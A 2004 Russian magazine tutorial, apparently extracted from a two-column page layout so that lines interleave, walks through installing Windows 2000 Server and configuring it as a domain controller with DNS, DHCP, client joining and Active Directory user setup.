Windows 2000/2003 Server по принципу пошаговой инструк- же конфигурации хватит для организации шлюза
ции. Процесс будет рассмотрен на примере Windows 2000 общего доступа в Интернет для небольшой органи-
Server. Отличия в Windows 2003 Server незначительны и, зации с количеством рабочих станций до 10 (прокси-
как правило, интуитивно понятны. сервер, статистика работы пользователей в сети Ин-
Статья публикуется в двух частях. В первой части рас- тернет, защитный межсетевой экран – Firewall, по-
сказывается об установке и настройке Windows 2000 Server чтовый сервер).
и повышении его роли до контроллера домена. Во второй ! Для организации файл-сервера, используемого ра-
части будет рассматрено создание и настройка серверов бочей группой от 10 до 20 пользователей или опи-
приложений на основе служб терминалов Windows и их санного выше шлюза в Интернет для 20-30 пользо-
модернизации при помощи продукта Citrix Metaframe XP вателей рекомендуется следующая конфигурация:
Presentation Server. PIII-1000-1300, 256-512 Мб RAM, IDE HDD 40-120 Гб,
SCSI HDD 36 Гб. Использование SCSI-диска и быст-
Системные требования рых процессоров для шлюза требуется при необхо-
Итак, список того, что нам понадобится, и рекомендации димости вести протокол и постоянную переиндекса-
по системным требованиям: цию базы данных статистики запросов к прокси-сер-
! Диск с дистрибутивом Windows 2000 Server. Рекомен- веру и протокола безопасности. При отсутствии та-
дуется, чтобы он был оригинальным, загрузочным. кой необходимости достаточно одного IDE-диска и
! CD-ROM Drive с возможностью загрузиться с него. Не- процессора Celeron-500-733.
которые частично неисправные или старые приводы не ! Для организации сервера терминалов с количеством
позволяют произвести с них загрузку системы. Если вы активных пользователей от 5 до 10: PIV-1.7 ГГц, RAM
с этим столкнулись, то придется сделать загрузочные 512-768 Мб, IDE HDD 40-120 Гб, SCSI HDD 18-36 Гб.
дискеты. Этот процесс описан в самом начале раздела ! Сервер терминалов для 15-30 пользователей уже же-
«Установка ОС Windows 2000 Server» лательно строить на двухпроцессорных системах. На-
! Компьютер со следующими минимальными требовани- пример, для поднятия сервера терминалов для 20
ями: PII-433, 128 Мб RAM, 4 Гб HDD. По опыту автора пользователей, каждый из которых открывает по 2
данные характеристики являются минимальными и не базы «1С:Предприятие» в терминальном режиме, не-
рекомендованы к реальному использованию. Реальные обходим сервер со следующими характеристиками:
системные требования для практической работы зави- 2 * Xeon 1.8-2.4 ГГц, 1.5-2 Гб RAM, SCSI-RAID-5 (3-4
сят от задач, возлагаемых на сервер. SCSI-HDD + SCSI-RAID-контроллер).

88
образование
Более подробные рекомендации по выбору сервера вы- Если у вас новый жесткий диск или вы уже удалили с
ходят за рамки этой статьи. Единственное, что можно ска- него все разделы, то необходимо создать раздел для уста-
зать, – при наличии финансовой возможности старайтесь новки. Выбираем требуемый диск, выделяем «Неразмечен-
не экономить и покупать качественное «железо», от извес- ную область», нажимаем клавишу <C> для создания ново-
тных производителей. Хороший обзор есть здесь: http:// го раздела и вводим его размер. Рекомендуемый размер в
www.fcenter.ru/articles.shtml?technologies/2513. мегабайтах 8000-20000. Если общий объем жесткого дис-
ка составляет не более 10 Гб, то имеет смысл отдать под
Установка ОС Windows 2000 Server систему 5000 Мб, а большие приложения устанавливать в
Входим в BIOS и задаем первичную загрузку с CD-ROM. другой раздел (его мы создадим позже, из оставшегося
По возможности все остальные устройства для загрузки зап- места на диске). Оставляем неразмеченную область без
рещаем. То есть у нас должно остаться: First boot device – изменений и выбираем для установки созданный раздел,
CD-ROM. Остальные устройства выставляем (если это воз- нажав на нем <ENTER>.
можно) в Disabled. Выходим из BIOS, сохранив изменения. Выбираем «Форматировать раздел в системе NTFS».
Загружаемся с CD-ROM Windows 2000 Server. Если на Далее система отформатирует раздел и скопирует на него
жесткий диск уже установлена какая-либо ОС, то необхо- все необходимые файлы. Ваше участие не понадобится в
димо будет нажать любую клавишу в момент появления течение 10-15 минут. Можете пить чай. Компьютер авто-
надписи: «Press Any Key for boot from CD», иначе загрузит- матически перезагрузится. После этого вы увидите при-
ся старая установленная система. Некоторые частично не- глашение продолжить установку, нажав клавишу «Далее».
исправные или старые приводы не позволяют произвести После этого произойдет обнаружение устройств, и появит-
с них загрузку системы. Если вы с этим столкнулись, то ся предложение выбрать язык и стандарты. Здесь реко-
придется сделать загрузочные дискеты. Или загружаемся мендуется «Язык системы и язык пользователя» выбирать
с любой загрузочной дискеты Windows 98 и запускаем из «Русский» (установлен по умолчанию), а раскладку клави-
папки I386 файл winnt.exe, либо подготавливаем специаль- атуры выставлять по умолчанию в «Английский (США)»
ные дистрибутивные диски. Подготавливаем 4 чистые от- (нижнее меню Настроить → Английский (США) → Исполь-
форматированные дискеты, на оригинальном дистрибутив- зовать по умолчанию → Применить → ОК). Затем вводим
ном диске заходим в папку BOOTDISK и запускаем имя пользователя и организацию (это просто информаци-
Makeboot.bat. После создания таких дискет загружаемся с онные данные, а не имя для входа), например: Админист-
них. Обращаю внимание, что для обеспечения надежности ратор – ООО «Рога и копыта». Вводим регистрационный
и удобства необходим оригинальный загрузочный CD с ди- номер вашего дистрибутива. Выбираем лицензирование
стрибутивом или загрузка именно с этих дискет. «На сервер» и вводим приобретенное нами количество ли-
Программа установки начнет загружать необходимые цензий (по количеству пользователей + запас). Здесь вво-
файлы. Если вы устанавливаете систему на SCSI- или SATA- дим имя нашего сервера и пароль администратора. Имя
диск, необходимо сразу при старте загрузки нажать клави- сервера – латинскими буквами и цифрами, без пробелов
шу <F6> (сообщение об этом появится в нижней части эк- (допускается «дефис»). Приступаем к выбору компонентов.
рана) и установить драйвера этого устройства (поставля- Выбор компонентов установки опишем для наиболее час-
ются в комплекте с материнской платой или платой SCSI). то применимых ситуаций. Если что-то понадобится в про-
Если вы все сделали правильно, программа установки пред- цессе работы, всегда можно добавить. Снимаем все галки,
ложит вам добавить необходимые драйверы, вставив диск кроме «Служба индексирования» и «Стандартные и слу-
от производителя. После вывода списка устройств, для ко- жебные программы». Ставим курсор на «Сетевые службы»
торых будут найдены драйверы, выбираем устройство, ус- и устанавливаем только одну галку: DHCP.
тановленное в нашей системе. В противном случае програм- Если наш сервер будет являться еще и сервером тер-
ма установки сообщит, что не обнаружила дисков для ус- миналов, то устанавливаем галочки также на «Лицензиро-
тановки. В процессе загрузки файлов экран может стать вание служб терминалов» и «Службы терминалов», а также
черным на время до 5 минут. Не спешите перезагружать при необходимости организации веб-доступа к серверу при-
компьютер – терпеливо выждите. Нажмите <ENTER> для ложений – устанавливаем галку «Internet Information Server».
продолжения установки, затем <F8> для принятия условий На дальнейший вопрос о режиме сервера терминалов (по-
лицензионного соглашения (если вы, конечно, его прини- явится чуть позже) ответим: «Режим сервера приложений»
маете). Программа установки предложит выбрать раздел, и (если у нас нет особых старых приложений, которым не-
в который будет устанавливаться ОС. Рассмотрим новую обходим полный доступ к системным папкам) «Разреше-
установку на диск, все данные с которого можно удалить. ния группы пользователей Windows 2000». Соглашаемся с
Если на диске имеются нужные данные, необходимо создать предупреждением о том, что уже установленные приложе-
полную архивную копию на другой жесткий диск. В против- ния могут работать некорректно – как правило, это не
ном случае вы потеряете свои данные! критично. Указываем доступность «Для всего предприятия»
Если на жестком диске уже есть разделы (они будут ото- если у вас сложная доменная структура и дочерним доме-
бражены), то просто удаляем их (все данные будут уничто- нам необходим доступ к данному серверу. Для одноуровне-
жены!). Нажимаем для этого клавишу <D>, затем <ENTER> вой доменной структуры – выбор не важен. Путь в пункте
и подтверждаем удаление клавишей <L>. Повторяем со «Установить базу данных сервера» оставляем по умолчанию.
всеми разделами, до тех пор пока не останется одна «Не- Жмем «Далее» и устанавливаем текущие дату и время.
размеченная область», объемом с диск. Проверяем, чтобы часовой пояс соответствовал вашему

№10(23), октябрь 2004 89


образование
(в Петербурге и Москве это «(GMT+03:00) Москва, Санкт- ме рабочего стола или сервера терминалов. Затем: Вирту-
Петербург, Волгоград». Помните, что некорректно устано- альная память → Общий объем файла подкачки на всех
вив этот параметр, можно впоследствии столкнуться с про- дисках → Изменить… Задаем фиксированный размер фай-
блемами. Жмем «Далее». ла подкачки («Исходный размер» и «Максимальный раз-
Система установит сетевые компоненты и, если сможет мер» – присваиваем одну и ту же величину). Рекомендуе-
автоматически обнаружить сетевые адаптеры, – предложит мый размер – не более 2-кратного размера оперативной
установить их параметры. Выбираем «Особые параметры», памяти. Не стоит, однако, делать размер этого файла ме-
нажимаем далее и выбираем «Протокол Интернета (TCP/IP). нее 500 Мб. Не забываем нажать «Задать», а только затем
Жмем «Свойства» и выставляем «Использовать следую- «ОК». Еще раз жмем «ОК». Если предлагают перезагру-
щий IP-адрес». Задаем адрес. Если мы уверены, что все зиться – отказываемся.
настраиваем «с нуля», то задаем, например 192.168.0.1 для Вставляем диск с драйверами материнской платы и ус-
файл-сервера, или 192.168.0.254 для шлюза в Интернет танавливаем сначала именно ее драйверы. Для экономич-
(подразумевается, что существующая подсеть имеет диа- ных решений на базе обычных (не серверных) материнских
пазон адресов 192.168.0.XXX). Для того чтобы проверить, плат рекомендуется иметь в коллекции так называемый уни-
не занят ли этот адрес кем-либо, включаем все компьюте- версальный диск с драйверами для самых популярных чип-
ры локальной сети, и в командной строке пишем: сетов. Он автоматически определяет установленную мате-
ринскую плату и устройства, затем предлагает установить
ping 192.168.0.1 соответствующие драйвера, т.к. очень часто клиенты по-
нятия не имеют, «где у них диск с драйверами от матери».
Если получаем сообщение о превышении интервала Перезагружаем компьютер. Снова делаем автозапуск дис-
ожидания, то адрес, скорее всего, не занят (если, конечно, ка с драйверами. Устанавливаем все оставшиеся драйве-
прохождение ICMP-пакетов не запрещено firewall, что яв- ра, отказываясь от перезагрузки после каждого из них. Пе-
ляется в грамотно настроенной локальной сети спорным резагружаем компьютер только после установки всех ос-
решением). Маску подсети оставляем по умолчанию: тальных драйверов (видео, аудио, сеть, USB и т. д.).
255.255.255.0. Параметр «Шлюз по умолчанию» устанав- Правой клавишей нажимаем на Мой компьютер → Уп-
ливаем в соответствии с его внутрисетевым IP-адресом. равление → Управление дисками.
Если этот компьютер сам будет являться шлюзом в Интер- Если вы не планируете создавать программные RAID-
нет/другую сеть, то, скорее всего, в нем установлены две массивы средствами самой ОС с участием этих дисков, об-
сетевые карты. Тогда первой карте присваиваем адрес новлять их до динамических необязательно. Здесь не рас-
192.168.0.254, маску 255.255.255.0, оставляем пустым поле сматриваются основы файловых систем – подразумевает-
«Шлюз по умолчанию». Адреса DNS-серверов оставляем ся, что читатель сам изучит этот материал.
пустыми, либо присваиваем им адреса DNS-сервера ло- Правой клавишей по приводу CD – Изменение буквы
кальной сети (если он есть) или DNS-сервера провайдера. диска и пути диска → Изменить → Назначить букву диска →
При наличии второй сетевой карты, к которой будет под- Выбираем следующую за предполагаемым количеством дис-
ключен кабель, идущий к интернет-провайдеру, выставля- ков. Например, если у нас есть неразмеченная область на
ем параметры внешнего соединения. Помните, что кабель системном диске, то оставляем ей букву «D», а CD-приводу
соединения с провайдером можно подключать только для присваиваем букву «E». На предупреждение отвечаем со-
установки критических обновлений системы и межсетево- гласием. Затем на «Диск 0» щелкаем правой клавишей по
го экрана. В противном случае вы рискуете сразу же под- Нераспределенной области → Создать раздел → Далее →
вергнуться вирусной атаке. Жмем «ОК» и «Далее». Остав- Основной раздел → Далее… Отдаем под него все оставше-
ляем компьютер без домена галкой «Нет, этот компьютер еся место. Не стоит плодить большое количество логичес-
не участвует в сети или сеть не имеет доменов» (при необ- ких дисков – двух достаточно: один под систему, второй под
ходимости введем в домен потом, после установки всех архивы/дистрибутивы. Разделять систему и данные по раз-
обновлений и драйверов). Жмем «Далее» и опять отдыха- ным разделам очень рекомендуется, т.к. при сбоях раздела
ем в течение 5-10 минут до появления сообщения «Завер- с данными можно будет загрузить систему и попытаться ис-
шение установки Windows 2000». Нажимаем «Готово», ком- править неполадки. Жмем Далее → Назначить букву диска
пьютер уходит на перезагрузку. Входим в BIOS и меняем в «D» → Далее → Форматировать данный раздел следующим
порядке загрузки CD-ROM на IDE-0 или SCSI или RAID (в образом: «Файловая система» – NTFS, «Размер кластера» –
зависимости от варианта вашей установки). Сохраняем из- по умолчанию, «Метка тома» – оставляем пустым. Затем,
менения и продолжаем загрузку. если мы уверены в качестве нашего диска и у нас нет лиш-
Входим в систему, выбираем «Я выполню настройку это- них 1-2 часов на полное форматирование, например, 100 Гб,
го сервера позже», «Далее». Затем снимаем галку «Откры- то выставляем галку «Быстрое форматирование». Гал-ку
вать это окно при загрузке» и закрываем окно. Затем пра- «Применять сжатие файлов и папок» не стоит выставлять,
вой клавишей нажимаем на Мой компьютер → Свойства → если вы не понимаете все последствия этого шага. Скажем
Дополнительно. В разделе «Параметры быстродействия» лишь, что сжатие всего раздела средствами NTFS при со-
выделяем «Оптимизировать быстродействие» и оставля- временных объемах дисков неактуально, так как экономия
ем «Служб, работающих в фоновом режиме», если это бу- места не будет оправдана в связи с замедлением работы с
дет отдельно стоящий файл-сервер, или меняем на «При- этим томом. Нажимаем «Далее» → «Готово». Если было
ложений», если на нем будут выполняться задачи в режи- выбрано «Быстрое форматирование», то процесс займет не

90
образование
более 3-5 минут. Иначе – обладая разделом в 50-100 Гб, ! Нахождение, закачка и установка обновлений вручную.
можно смело идти за пивом. Час-два форматирования обес- Список необходимых обновлений по степени их важнос-
печен. Поэтому у клиентов рекомендую ставить систему на ти можно найти так: заходим на http://www.microsoft.com/
заведомо исправный и проверенный диск и выбирать «Быс- technet/security/current.aspx и выбираем то, что у нас ус-
трое форматирование», чтобы не терять ценное время. Пос- тановлено. Например, Windows 2000 Server RUS + SP4.
ле того как на нашем разделе появилась надпись «Испра- Затем выбираем степень важности. В принципе обыч-
вен», закрываем консоль «Управление компьютером». но достаточно степени «Critical», если у вас очень мед-
Далее создаем на диске D: папку Distrib и в ней – папку ленная скорость закачки. После закачки необходимо
W2Kserver. Затем копируем в нее папку I386 с дистрибу- вручную установить все обновления.
тивного CD-ROM Windows 2000 Server. Это необходимо для ! Автоматическая установка обновлений. Итак, открыва-
дальнейшего добавления компонентов, когда под рукой ем Internet Explorer и набираем адрес: www.windows
может просто не оказаться дистрибутива. Позаботьтесь о update.com Соглашаемся с предложением установить
себе и своих коллегах! Затем извлекаем диск с Windows 2000 Windows Update. Жмем «Поиск и просмотр обновлений».
и убираем. Больше он нам не понадобится. В эту же папку После сообщения о нахождении обновлений выбираем
рекомендуется скопировать и драйвера от установленных «Просмотр и установка обновлений». Вам будет пред-
устройств. ложено установить найденные обновления. Некоторые
Открываем Пуск → Программы → Администрирова- (например, IE 6.0) могут требовать отдельной установ-
ние → Просмотр событий. Щелкаем правой клавишей по ки. Вообще, Internet Explorer 6.0 тоже рекомендуется
первому журналу и выбираем «Свойства». Там увеличива- иметь на диске, чтобы не качать его из Интернета. Итак,
ем размер журнала, например до 16 384 Кб, и выставляем после нахождения обновлений нажимаем на «Критичес-
галку «Затирать старые события по необходимости». По- кие обновления и пакеты обновлений» и выбираем «Ус-
вторяем со всеми журналами. тановить». Система сама скачает и установит все необ-
Заходим в систему. Правой клавишей по пустому мес- ходимые файлы. Если же канал в Интернет медленный,
ту на рабочем столе → Свойства → Настройка → Дополни- то лучше устанавливать все с диска (критические об-
тельно → Адаптер → Список всех режимов. Выбираем не- новления для W2K Server SP4 на момент написания этой
обходимое сочетание Разрешения/Глубины цвета/Частоты. статьи занимают 21 Мб). Устанавливаем последнюю
Частоту выставляем не менее 85 Гц, если позволит мони- версию Internet Explorer, если не установили до этого.
тор. Нажимаем «Применить». Если после мигания изобра- Перезагружаемся.
жение осталось на экране и является качественным, согла-
шаемся с сохранением этой частоты. Помните, что LCD-мо- Все. На этом основная установка Windows завершена.
ниторы работают с частотой 60-75 Гц. Наилучший выбор до- Дальнейшие действия зависят от того, какую роль будет
стигается визуально и по техническому описанию модели. выполнять наш сервер: контроллер домена, сервер терми-
Устанавливаем необходимые обновления системы: налов, файл-сервер домена, шлюз в Интернет или просто
Service Pack и Hotfixes. Всегда необходимо иметь пакеты файл-сервер для маленькой рабочей группы.
критических обновлений на диске (таких как заплатки от
вирусов MSBlast, он же Blaster, и Lsasser). При наличии до- Контроллер домена
ступа в Интернет можно установить обновления автомати- Сделаем из нашего сервера контроллер домена. Для этого
чески. Сразу после установки необходимого Service Pack он должен быть включен в сеть и ему присвоен IP-адрес
(лучше ставить с диска, чтобы не расходовать трафик и вре- (например, 192.168.0.1, как описывалось выше). Если для
мя) и перезагрузки заходим на сайт www.windowsupdate.com экономии времени вы создаете сервер для клиента в сво-
Об этом будет рассказано позже. ей технической лаборатории, то подключать к нему кабель
Устанавливаем последний Service Pack (на момент на- своей локальной сети не следует. Однако создать на таком
писания статьи это был SP4), принимаем условия соглаше- сервере домен все равно возможно. Для этого зайдем в
ния, выбираем «Архивировать файлы» (необходимо для редактор реестра (regedit) и создадим следующий пара-
возможной отмены установки SP4). Отдыхаем 5-10 минут. метр: в ветке HKLM\System\CurrentControlSet\Services\
После окончания установки перезагружаем компьютер. Ди- Tcpip\Parameters параметр DisableDHCPMediaSense (тип
стрибутив Service Pack также скидываем в нашу папку с REG_DWORD). Его значение нужно установить в «1». Пе-
дистрибутивами. Если вы не хотите, чтобы компьютер без резагрузим компьютер. Создавать этот ключ необходимо
вашего ведома проверял наличие обновлений на сайте только если компьютер не подключен к локальной сети (се-
Microsoft, то необходимо зайти в «Панель управления», выб- тевой карте другого компьютера). Если наш сервер подклю-
рать Windows Update и снять галку «Выполнять обновле- чен к нужной сети, то данный параметр создавать не надо.
ние системы». Иначе – галку оставляем. Помните, что если Теперь поднимаем роль сервера до контроллера домена.
вы оплачиваете интернет-трафик, то галка «Скачивать и Это нужно, если нам необходимо присвоить чужому (созда-
устанавливать автоматически» может его неожиданно уве- ваемому для клиентов) серверу IP-адрес, который уже су-
личить. Теперь установим дополнительные обновления бе- ществует в сети. Такой сервер нельзя подключать к исполь-
зопасности. зуемым сетевым коммутаторам, так как это спровоцирует
Есть два способа установки этих обновлений: автома- конфликт IP-адресов в системе.
тически через Интернет или скачав и установив их само- Входим в систему с учетной записью «Администратор»
стоятельно. (или другой, обладающей полномочиями администратора).

№10(23), октябрь 2004 91


образование
В меню «Пуск» выбираем «Выполнить» и вводим команду «Пуск → Программы» отсутствует, то его можно туда до-
DCPROMO. Запустится мастер. Выбираем Контроллер до- бавить, щелкнув правой клавишей по панели задач Свой-
мена в новом домене → Создать новое доменное дерево → ства → Дополнительно → Параметры меню «Пуск» → Ста-
Создать новый лес доменных деревьев. Затем вводим имя вим галку «Отображать меню Администрирование».
домена. Раскрываем ветку нашего сервера. Если мы будем на-
Внимание! Имя домена внутри локальных сетей может страивать и общий доступ в Интернет, то раскрываем «Зоны
быть любым. Крайне рекомендуется присвоить вашему до- прямого просмотра» и удаляем зону «.» (точка). Зоны «.»
мену расширение *.local, тогда он гарантированно не будет может и не быть, если компьютер во время настройки DNS-
конфликтовать с другими именами в Интернете. Практи- сервера был подключен к Интернету). Если настройку об-
чески во всех случаях создания локальных сетей со стан- щего доступа в Интернет производить не будем – оставля-
дартными задачами рекомендуется присваивать доменно- ем как есть. Затем раскрываем «Зоны обратного просмот-
му имени расширение «local». Не присваивайте доменам ра». Они пусты. Правой клавишей – «Создать новую зону –
имена типа firma.ru (или любым другим расширением, име- Интегрированная в Active Directory». В качестве «Кода сети
ющим прописку в виде зоны Интернета), кроме тех случа- (ID)» задаем подсеть. В нашем случае 192.168.0. Нажима-
ев, когда вы на 100% уверены, что это вам понадобится. ем «Готово». Сворачиваем оснастку DNS. Открываем свой-
Как показывает практика, это может понадобиться в край- ства Сетевого окружения и вводим в свойствах TCP/IP на-
не редких случаях, например, при организации фирмы по шей сетевой карты в качестве адреса DNS-сервера IP-ад-
хостингу чужих сайтов. Если вы не собираетесь становить- рес нашего сервера (192.168.0.1). Нажимаем «ОК» и зак-
ся интернет-провайдером (а я уверен, что не собираетесь, рываем свойства сетевого окружения.
иначе не читали бы эту статью) – присваивайте своему до- Разворачиваем оснастку DNS. Раскрываем зоны пря-
мену расширение «local». Эта зона специально создана для мого просмотра и выделяем зону firma.local. Щелкаем по
локальных сетей. Не обращайте внимания на предложение ней правой клавишей – Свойства. В окне «Общие» – «Ди-
мастера создания домена: «Если ваша фирма уже имеет намическое обновление» изменяем значение с «Только
DNS-имя домена, зарегистрированное в Интернете, то мож- безопасные обновления» на «Да». То же самое проделы-
но ввести его». Использование зарегистрированных в Ин- ваем с зоной обратного просмотра 192.168.0.x Subnet.
тернете имен не рекомендуется. Иначе если ваш сайт, по- Затем открываем командную строку и вводим:
чта и прочее хранятся у провайдера, а не в вашей сети –
придется вручную прописывать в DNS-зону соответствие ipconfig /registerdns
их имен и IP-адресов.
Итак: вводим имя, например, firma.local, NETBIOS-имя Получаем сообщение о том, что «Начата регистрация
домена оставляем, как предложено, – без суффикса «local». записей ресурсов DNS…». Закрываем командную строку.
Соглашаемся с предложением мастера разместить базу Открываем оснастку DNS, выделяем «Зону прямого про-
данных и журнал на нашем системном диске (он обязатель- смотра» firma.local и убеждаемся, что справа появилась
но должен быть отформатирован в системе NTFS, как опи- новая запись типа «Узел» с именем и IP-адресом нашего
сывалось ранее). То же самое с папкой SYSVOL. Жмем «Да- сервера. Затем переходим на нашу зону обратного просмот-
лее». Получаем сообщение об отсутствующем DNS-серве- ра. В ней должна появиться запись типа «Указатель», так-
ре и нажимаем «ОК». С предложением «Автоматически ус- же соответствующая нашему серверу.
тановить и настроить DNS» соглашаемся. Если в нашей сети Теперь проверим корректность настройки нашего DNS-
нет домена на основе Windows NT 4 Server, то выбираем сервера. Помните, что домены Windows 2000/2003 (Active
«Разрешения, совместимые только с серверами Windows Directory) полностью основаны на DNS, и некорректная на-
2000». Вводим пароль для восстановления Active Directory стройка DNS-сервера на этом этапе может вызвать даль-
на случай аварии. Просматриваем итоговую информацию нейшие ошибки домена, вплоть до его полной неработос-
и подтверждаем свой выбор для начала создания записей пособности.
и служб AD. Создание домена занимает некоторое время Корректность настройки проверяется из командной
(примерно 5-15 минут). Во время установки может потре- строки:
боваться дистрибутив Windows 2000 Server (для таких слу-
чаев и необходимо копировать его на жесткий диск – вдруг nslookup <èìÿ_íàøåãî_ñåðâåðà>
nslookup <IP_íàøåãî_ñåðâåðà>
под рукой не окажется). Указываем мастеру путь в скопи-
рованную папку I386. После завершения создания домена В обоих случаях должен быть одинаковый результат, со-
будет предложено перезагрузить компьютер. держащий имя и IP-адрес DNS-сервера, обработавшего зап-
После установки Active Directory у нас добавится не- рос, а также имя и IP-адрес запрошенного сервера (у нас
сколько новых журналов событий. Увеличиваем их размер на данном этапе они должны совпадать). Если результат от-
и изменяем настройки, как было описано выше. личается от приведенного, и мы видим только один IP-ад-
рес/имя сервера, то наш DNS-сервер настроен некорректно!
Настройка DNS-сервера Пример корректного результата выполнения проверки:
После перезагрузки заходим в систему с полномочиями Ад- C:\>nslookup Server
министратора домена. Затем Пуск → Программы → Адми- Server: Server.firma.local
Address: 192.168.0.1
нистрирование → DNS. Откроется консоль управления DNS- Name: Server.firma.local
сервером. Если подменю «Администрирование» в меню Address: 192.168.0.1

92
образование
C:\>nslookup 192.168.0.1 На каждом клиенте регистрируемся с правами локаль-
Server: Server.firma.local ного администратора, заходим в свойства сетевого окру-
Address: 192.168.0.1 жения, выбираем свойства сетевого подключения по ло-
Name: Server.firma.local
Address: 192.168.0.1 кальной сети и редактируем свойства «Протокола Интер-
нета (TCP/IP)». Задаем всем клиентам «Получить IP-адрес
Все! Основа домена построена и остается только доба- автоматически» и «Получить адрес DNS-сервера автома-
вить пользователей и компьютеры. Для удобства автома- тически». После этого перезагружаем каждого клиента.
тизируем получение клиентами IP-адресов (очень удобно, Можно обновить параметры, и не прибегая к перезагруз-
так как не придется протоколировать, какие IP-адреса в ке, – написав в командной строке:
нашей сети уже присвоены, а какие свободны).
Обратите внимание, что по умолчанию на клиентах в ipconfig /renew
свойствах сетевой карты стоят галочки на «Регистрировать
это подключение в DNS». Они должны стоять, только если DHCP-сервер автоматически выдаст каждому клиенту IP-
вы подняли собственный DNS-сервер внутри домена и на адрес из заданного вами диапазона, а также присвоит ад-
этом сервере в созданной вами зоне разрешено динами- реса шлюза по умолчанию и DNS-сервера.
ческое обновление. У клиентов при этом в качестве DNS- Если по каким-либо причинам вы не используете DHCP-
сервера должен быть прописан только он (в нашей статье сервер или хотите присвоить одному из клиентов (напри-
описана именно такая конфигурация). Во всех остальных слу- мер, другому серверу, входящему в домен) IP-адрес вруч-
чаях эту галку надо снимать, так как клиент будет пытаться ную, задайте IP-адрес из нашего диапазона, а также шлюз
зарегистрировать себя у провайдера и выше, создавая не- по умолчанию, и обязательно(!) адрес DNS-сервера (в на-
нужный вам трафик, а провайдеру – ненужные запросы. шем примере его адрес – 192.168.0.1).
После перезагрузки вводим клиентов в домен. Для
Настройка DHCP-сервера Windows 2000/XP: правой клавишей по Мой компьютер →
Пуск → Программы → Администрирование → DHCP. В кон- Свойства → Сетевая идентификация → Свойства. Прове-
соли выделяем наш сервер (server.firma.local), который ото- ряем имя компьютера. Оно обязательно должно быть на-
бражается красной стрелочкой. Щелкаем правой клавишей писано латинскими буквами, без пробелов и спецсимволов,
мыши по нему – «Создать область». Вводим ее название, запрещенных к применению в именах клиентов. Если это
например «firma», и жмем «Далее». Вводим начальный и не так, то переименовываем и перезагружаем компьютер.
конечный диапазон IP-адресов, которые мы хотим выделить Затем ставим галочку «Является членом домена» и зада-
нашим клиентам. Например, начальный адрес – ем имя нашего домена: firma.local. Система потребует вве-
192.168.0.10 (оставляем 10 запасных адресов под серве- сти имя и пароль пользователя, имеющего право на введе-
ра), конечный адрес – 192.168.0.100 (оставляем 155 адре- ние компьютеров в домен. Вводим «Администратор» и наш
сов на случай расширения и создания еще одного сервера пароль. Через некоторое время вы увидите приглашение в
DHCP). Предлагаемую маску меняем на 255.255.255.0. Ос- домен и предложение перезагрузить компьютер.
тальное оставляем как есть. Нажимаем «Далее». Диапа- Если этого не произошло – проверьте, воткнут ли сете-
зон исключаемых адресов пропускаем. Срок аренды остав- вой кабель в сервер, в клиентский компьютер, и включены
ляем 8 дней. Соглашаемся с предложением настроить сей- ли они оба. Также необходимо проверить корректность на-
час дополнительные параметры этой области. В качестве стройки протокола TCP/IP. В командной строке даем коман-
IP-адреса маршрутизатора указываем IP-адрес нашего ду: ipconfig /all и смотрим результат. Среди выданной ин-
шлюза в Интернет (тот, что задается вручную в поле «Шлюз формации находим нужную нам – об IP-адресе, маске, шлю-
по умолчанию») или оставляем это поле пустым, если вы- зе и DNS-сервере. Она должна быть примерно такой:
хода в Интернет у нас нет. Затем задаем родительский до-
IP-адрес . . . . . . . . . . : 192.168.0.11
мен (firma.local) и адрес DNS-сервера (192.168.0.1). Поле Маска подсети . . . . . . . . . . : 255.255.255.0
«WINS-Серверы» оставляем пустым (если мы не использу- Основной шлюз . . . . . . . . . . : 192.168.0.254
DNS-серверы . . . . . . . . . . : 192.168.0.1
ем WINS-сервер для обслуживания клиентов W9x). Отве-
чаем «Да, я хочу активизировать эту область сейчас». Зак- Если в поле IP-адрес стоит что-то типа: 169.254.xxx.xxx –
рываем окно мастера. ваш клиент не смог получить от DHCP-сервера IP-адрес.
В консоли DHCP опять кликаем правой клавишей по на- Проверяйте работоспособность DHCP-сервера и физичес-
шему серверу и выбираем «Авторизовать». Ждем несколько кой сети (проводов). Если же все нормально, то проверяем
минут и нажимаем <F5> (обновить). Стрелочка на нашем настройку DNS-сервера, как описано выше, в разделе DNS-
сервере должна стать зеленой. Если этого не произошло – сервер. Если проблемы есть, первым делом проверьте, не
закройте консоль DHCP, затем через несколько минут от- остановлены ли на сервере службы DHCP и DNS (некото-
кройте заново и нажмите <F5>. Стрелка должна поменять рые любят «улучшать параметры», удаляя или останавли-
цвет на зеленый. Настройка DHCP-сервера закончена. При- вая неизвестные им службы). После введения клиента в
ступим к настройке клиентов. домен и перезагрузки в окне входа выбираем «Дополни-
тельно» и меняем <Имя компьютера> (этот компьютер) на
Настройка клиентов название нашего домена (FIRMA). После чего вводим имя
Подразумевается, что на всех клиентах установлены опе- пользователя и пароль и входим в систему. Пользователей
рационные системы Windows 2000 и выше. необходимо завести на контроллере домена.

№10(23), октябрь 2004 93


образование
Настройка домена, Теперь щелкаем правой клавишей по созданному нами
заведение пользователей подразделению All_Users и снова выбираем Создать → Под-
Первым делом переводим контроллер домена в основной ре- разделение. Вводим имя подразделения администраторов
жим (NATIVE-MODE). Убедитесь, что в вашем домене отсут- домена, например, Admins. Затем щелкаем по подразделе-
ствуют другие контроллеры домена под управлением нию Admins правой клавишей – Свойства. Переходим на зак-
Windows NT 4 Server. Затем открываем Пуск → Программы → ладку «Групповая политика». Выставляем галку Блокировать
Администрирование → Active Directory → Пользователи и наследование политики → Применить → ОК. Это необходи-
компьютеры. Если меню «Администрирование» в «Програм- мо сделать для того, чтобы заданные для всех ограничения
мах» нет, то можно найти его в «Панели управления» или не распространялись на администраторов домена. Иначе
щелкнув правой клавишей по панели задач – Свойства → можно с удивлением обнаружить, что вы с полномочиями
Дополнительно → Отображать меню «Администрирование». администратора домена также не имеете прав на измене-
В оснастке Active Directory → Пользователи и компью- ние каких-либо настроек.
теры правой клавишей кликаем по нашему домену и выби- Теперь заведем полноценного администратора домена,
раем «Свойства». Пункт Общие → Режим работы домена. на которого не будут распространяться общие групповые
У нас установлен «Смешанный режим». Нажимаем «Сме- политики. Снова щелкаем правой клавишей по Admins →
нить режим» и соглашаемся с предупреждением о необра- Создать → Пользователь. Вводим имя и фамилию, а также
тимости операции. имя для входа в систему (logon name). Щелкаем «Далее»,
Теперь настроим синхронизацию времени с контролле- вводим и подтверждаем пароль этого пользователя. Жмем
ром домена на клиентах с операционными системами ниже, Далее → Готово. Созданный нами пользователь появится в
чем Windows 2000. Создадим на системном диске папку, правой части консоли при открытии подразделения Admins.
например, Apps. В ней создаем текстовый файл с расши- Щелкаем по нему правой клавишей и выбираем «Свойства».
